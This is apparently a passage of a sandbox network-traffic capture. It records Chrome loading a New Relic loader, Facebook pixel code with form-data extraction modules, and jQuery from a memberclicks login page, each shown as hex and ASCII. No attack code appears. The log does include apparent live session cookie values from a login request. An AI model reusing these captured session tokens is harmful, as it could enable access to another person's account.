2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 4b 65 79 3a 76 6f 69 64 20 30 2c 61 67 65 6e 74 49 44 3a 76 6f 69 64 20 30 2c 6c 69 63 65 6e 73 65 4b 65 79 3a 76 6f 69 64 20 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 49 44 3a 76 6f 69 64 20 30 2c 78 70 69 64 3a 76 6f 69 64 20 30 7d 2c 41 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 6c 6f 61 64 65 72 2d 63 6f 6e 66 69 67 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 41 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4c 6f 61 64 65 72 43 6f 6e 66 69 67 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 Data Ascii: Key:void 0,agentID:void 0,licenseKey:void 0,applicationID:void 0,xpid:void 0},A={};function w(e){if(!e)throw new Error("All loader-config objects require an agent identifier!");if(!A[e])throw new Error("LoaderConfig for ".concat(e," was never set"));retur
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 65 29 7d 7d 2c 39 35 36 37 3a 28 65 2c 74 2c 72 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 64 28 74 2c 7b 44 3a 28 29 3d 3e 69 7d 29 3b 76 61 72 20 6e 3d 72 28 35 30 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 74 72 79 7b 69 66 28 21 65 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 28 30 2c 6e 2e 5a 29 28 22 53 65 74 74 69 6e 67 20 61 20 43 6f 6e 66 69 67 75 72 61 62 6c 65 20 72 65 71 75 69 72 65 73 20 61 6e 20 6f 62 6a 65 63 74 20 61 73 20 69 6e 70 75 74 22 29 3b 69 66 28 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 28 30 2c 6e 2e 5a 29 28 22 53 65 74 74 69 6e 67 20 61 20 43 6f 6e 66 69 67 75 72 61 62 6c 65 20 Data Ascii: (e){return!1}}(e)}},9567:(e,t,r)=>{"use strict";r.d(t,{D:()=>i});var n=r(50);function i(e,t){try{if(!e\|\|"object"!=typeof e)return(0,n.Z)("Setting a Configurable requires an object as input");if(!t\|\|"object"!=typeof t)return(0,n.Z)("Setting a Configurable
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 64 6f 77 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 29 2c 61 3d 42 6f 6f 6c 65 61 6e 28 22 68 69 64 64 65 6e 22 3d 3d 3d 6f 3f 2e 64 6f 63 75 6d 65 6e 74 3f 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 29 2c 73 3d 22 22 2b 6f 3f 2e Data Ascii: dow:"undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis),a=Boolean("hidden"===o?.document?.visibilityState),s=""+o?.
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 65 77 20 4d 61 70 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 6c 65 74 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 22 22 2c 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 22 66 65 61 74 75 72 65 22 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3b 69 66 28 75 28 65 29 2c 21 65 7c 7c 21 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 72 29 72 65 74 75 72 6e 20 68 28 65 2c 74 29 3b 73 5b 65 Data Ascii: ew Map)}function l(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"feature",r=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if(u(e),!e\|\|!s[e].get(t)\|\|r)return h(e,t);s[e
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 72 28 76 61 72 20 61 3d 68 28 6e 29 2c 63 3d 67 28 65 29 2c 75 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 75 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 61 2c 72 29 3b 76 61 72 20 70 3d 76 28 29 5b 73 5b 65 5d 5d 3b 70 26 26 70 2e 70 75 73 68 28 5b 66 2c 65 2c 72 2c 61 5d 29 3b 72 65 74 75 72 6e 20 61 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 67 2c 63 6f 6e 74 65 78 74 3a 68 2c 62 75 66 66 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 63 6f 6e 73 74 20 72 3d 76 28 29 3b 69 66 28 74 3d 74 7c 7c 22 66 65 61 74 75 72 65 22 2c 66 2e 61 62 6f 72 74 65 64 29 72 65 74 75 72 6e 3b 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 65 7c 7c 7b 7d 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 6c 65 74 5b 6e 2c 69 5d 3d 65 3b 73 5b 69 5d 3d 74 2c Data Ascii: r(var a=h(n),c=g(e),u=c.length,l=0;l<u;l++)c[l].apply(a,r);var p=v()[s[e]];p&&p.push([f,e,r,a]);return a},get:m,listeners:g,context:h,buffer:function(e,t){const r=v();if(t=t\|\|"feature",f.aborted)return;Object.entries(e\|\|{}).forEach((e=>{let[n,i]=e;s[i]=t,
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 3d 7b 67 65 74 20 70 61 73 73 69 76 65 28 29 7b 72 65 74 75 72 6e 20 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 6f 3d 21 30 2c 21 31 7d 7d 3b 6e 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 6e 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 6f 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 Data Ascii: ={get passive(){return i=!0,!1},get signal(){return o=!0,!1}};n._A.addEventListener("test",null,e),n._A.removeEventListener("test",null,e)}catch(e){}function a(e,t){return i\|\|o?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let r=arguments.length>2&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49885	31.13.88.13	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:58 UTC	1323	OUT	GET /signals/config/688224189896855?v=2.9.154&r=stable&domain=www.asphaltroofing.org&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105 HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:58 UTC	1465	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-04-23 14:53:58 UTC	1524	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2024-04-23 14:53:58 UTC	11	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 Data Ascii: /*** Copyr
2024-04-23 14:53:58 UTC	1500	IN	Data Raw: 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 68 20 74 68 65 20 77 65 62 20 Data Ascii: ight (c) 2017-present, Facebook, Inc. All rights reserved.** You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection with the web
2024-04-23 14:53:58 UTC	1500	IN	Data Raw: 74 75 72 6e 3b 76 61 72 20 67 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 3d 3d 3d 22 73 79 6d 62 6f 6c 22 3f 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 21 3d 3d 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f Data Ascii: turn;var g=typeof Symbol==="function"&&typeof (typeof Symbol==="function"?Symbol.iterator:"@@iterator")==="symbol"?function(a){return typeof a}:function(a){return a&&typeof Symbol==="function"&&a.constructor===Symbol&&a!==(typeof Symbol==="function"?Symbo
2024-04-23 14:53:58 UTC	1500	IN	Data Raw: 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 2c 62 29 3a 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 61 2c 62 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: rototypeOf?Object.setPrototypeOf(a,b):a.__proto__=b)}function l(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=function(a)
2024-04-23 14:53:58 UTC	1500	IN	Data Raw: 2e 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3b 76 61 72 20 6b 3d 61 26 26 69 3d 3d 6e 75 6c 6c 3b 69 3d 63 28 7b 62 75 74 74 6f 6e 3a 65 2c 63 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 3a 6b 3f 68 3a 69 2c 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3a 61 7d 29 3b 61 3d 64 28 29 3b 76 61 72 20 6c 3d 69 2e 66 6f 72 6d 46 69 65 6c 64 46 65 61 74 75 72 65 73 3b 69 3d 69 2e 75 73 65 72 44 61 74 61 3b 66 3d 7b 62 75 74 74 6f 6e 46 65 61 74 75 72 65 73 3a 66 2c 62 75 74 74 6f 6e 54 65 78 74 3a 67 2c 66 6f 72 6d 46 65 61 74 75 72 65 73 3a 6b 3f 5b 5d 3a 6c 2c 70 61 67 65 46 65 61 74 75 72 65 73 3a 61 2c 70 61 72 61 6d 65 74 65 72 73 3a 62 2e 74 72 69 67 67 65 72 28 7b 70 69 78 65 6c 3a 6a 2c 74 61 72 67 65 74 3a 65 7d Data Ascii: .shouldExtractUserData;var k=a&&i==null;i=c({button:e,containerElement:k?h:i,shouldExtractUserData:a});a=d();var l=i.formFieldFeatures;i=i.userData;f={buttonFeatures:f,buttonText:g,formFeatures:k?[]:l,pageFeatures:a,parameters:b.trigger({pixel:j,target:e}
2024-04-23 14:53:58 UTC	766	IN	Data Raw: 7b 7d 3b 69 66 28 68 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 7b 66 6f 72 6d 46 69 65 6c 64 46 65 61 74 75 72 65 73 3a 6b 2c 75 73 65 72 44 61 74 61 3a 6c 7d 3b 68 3d 68 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3b 66 6f 72 28 76 61 72 20 6d 3d 30 3b 6d 3c 68 2e 6c 65 6e 67 74 68 3b 6d 2b 2b 29 7b 76 61 72 20 6e 3d 68 5b 6d 5d 3b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 53 65 6c 65 63 74 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 42 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 6f 3d 22 Data Ascii: {};if(h==null)return{formFieldFeatures:k,userData:l};h=h.querySelectorAll(e);for(var m=0;m<h.length;m++){var n=h[m];if(n instanceof HTMLInputElement\|\|n instanceof HTMLTextAreaElement\|\|n instanceof HTMLSelectElement\|\|n instanceof HTMLButtonElement){var o="
2024-04-23 14:53:58 UTC	1500	IN	Data Raw: 22 74 69 74 6c 65 22 29 3b 61 3d 62 28 61 26 26 61 2e 74 65 78 74 2c 63 29 3b 72 65 74 75 72 6e 7b 74 69 74 6c 65 3a 61 7d 7d 6b 2e 65 78 70 6f 72 74 73 3d 64 7d 29 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 46 65 61 74 75 72 65 43 6f 75 6e 74 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 69 2c 6a 29 7b 76 61 72 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 Data Ascii: "title");a=b(a&&a.text,c);return{title:a}}k.exports=d})();return k.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsFeatureCounter",function(){return function(f,g,i,j){var k={exports:{}};k.exports;(function(){"use strict";var a=function(){fu
2024-04-23 14:53:58 UTC	1500	IN	Data Raw: 3b 65 2b 2b 29 62 3d 67 28 65 2c 64 5b 65 5d 2c 62 29 2c 62 21 3d 6e 75 6c 6c 26 26 28 68 28 62 2c 64 2e 6c 65 6e 67 74 68 29 3f 61 2e 70 75 73 68 28 62 29 3a 65 3d 3d 3d 64 2e 6c 65 6e 67 74 68 2d 31 26 26 28 62 2e 65 6e 64 3d 65 2c 68 28 62 2c 64 2e 6c 65 6e 67 74 68 29 26 26 61 2e 70 75 73 68 28 62 29 29 2c 62 2e 65 6e 64 21 3d 6e 75 6c 6c 26 26 28 62 3d 6e 75 6c 6c 29 29 3b 63 28 61 2e 72 65 76 65 72 73 65 28 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 73 74 61 72 74 3b 61 3d 61 2e 65 6e 64 3b 69 66 28 61 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 64 3d 64 2e 73 6c 69 63 65 28 30 2c 62 29 2b 22 40 22 2b 64 2e 73 6c 69 63 65 28 61 2b 31 29 7d 29 3b 72 65 74 75 72 6e 20 64 7d 76 61 72 20 6a 3d 2f 5b 5c 64 5d 2b 28 5c 2e 5b 5c 64 5d Data Ascii: ;e++)b=g(e,d[e],b),b!=null&&(h(b,d.length)?a.push(b):e===d.length-1&&(b.end=e,h(b,d.length)&&a.push(b)),b.end!=null&&(b=null));c(a.reverse(),function(a){var b=a.start;a=a.end;if(a==null)return;d=d.slice(0,b)+"@"+d.slice(a+1)});return d}var j=/[\d]+(\.[\d]
2024-04-23 14:53:58 UTC	1500	IN	Data Raw: 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 43 6f 6e 66 69 67 53 74 6f 72 65 22 29 2c 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 76 65 6e 74 73 22 29 2c 63 3d 62 2e 66 69 72 65 64 3b 62 2e 70 69 69 41 75 74 6f 6d 61 74 63 68 65 64 3b 76 61 72 20 64 3d 62 2e 70 69 69 43 6f 6e 66 6c 69 63 74 69 6e 67 2c 6d 3d 62 2e 65 78 74 72 61 63 74 50 69 69 3b 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 53 68 61 72 65 64 22 29 3b 76 61 72 20 6e 3d 62 2e 73 69 67 6e 61 6c 73 43 6f 6e 76 65 72 74 4e 6f 64 65 54 6f 48 54 4d 4c 45 6c 65 6d 65 6e 74 2c 6f 3d 62 2e 73 69 67 6e 61 6c 73 45 78 74 72 61 63 74 46 6f 72 6d 2c 70 Data Ascii: "SignalsFBEventsConfigStore"),b=f.getFbeventsModules("SignalsFBEventsEvents"),c=b.fired;b.piiAutomatched;var d=b.piiConflicting,m=b.extractPii;b=f.getFbeventsModules("SignalsFBEventsShared");var n=b.signalsConvertNodeToHTMLElement,o=b.signalsExtractForm,p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49883	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:58 UTC	716	OUT	GET /includes/js/jquery.min.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:58 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:58 GMT Content-Type: application/javascript Content-Length: 293619 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "47af3-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:58 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafa9dea97bbd-ATL
2024-04-23 14:53:58 UTC	838	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 36 2d 30 35 2d 32 30 54 31 Data Ascii: /! jQuery JavaScript Library v3.3.1 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2016-05-20T1
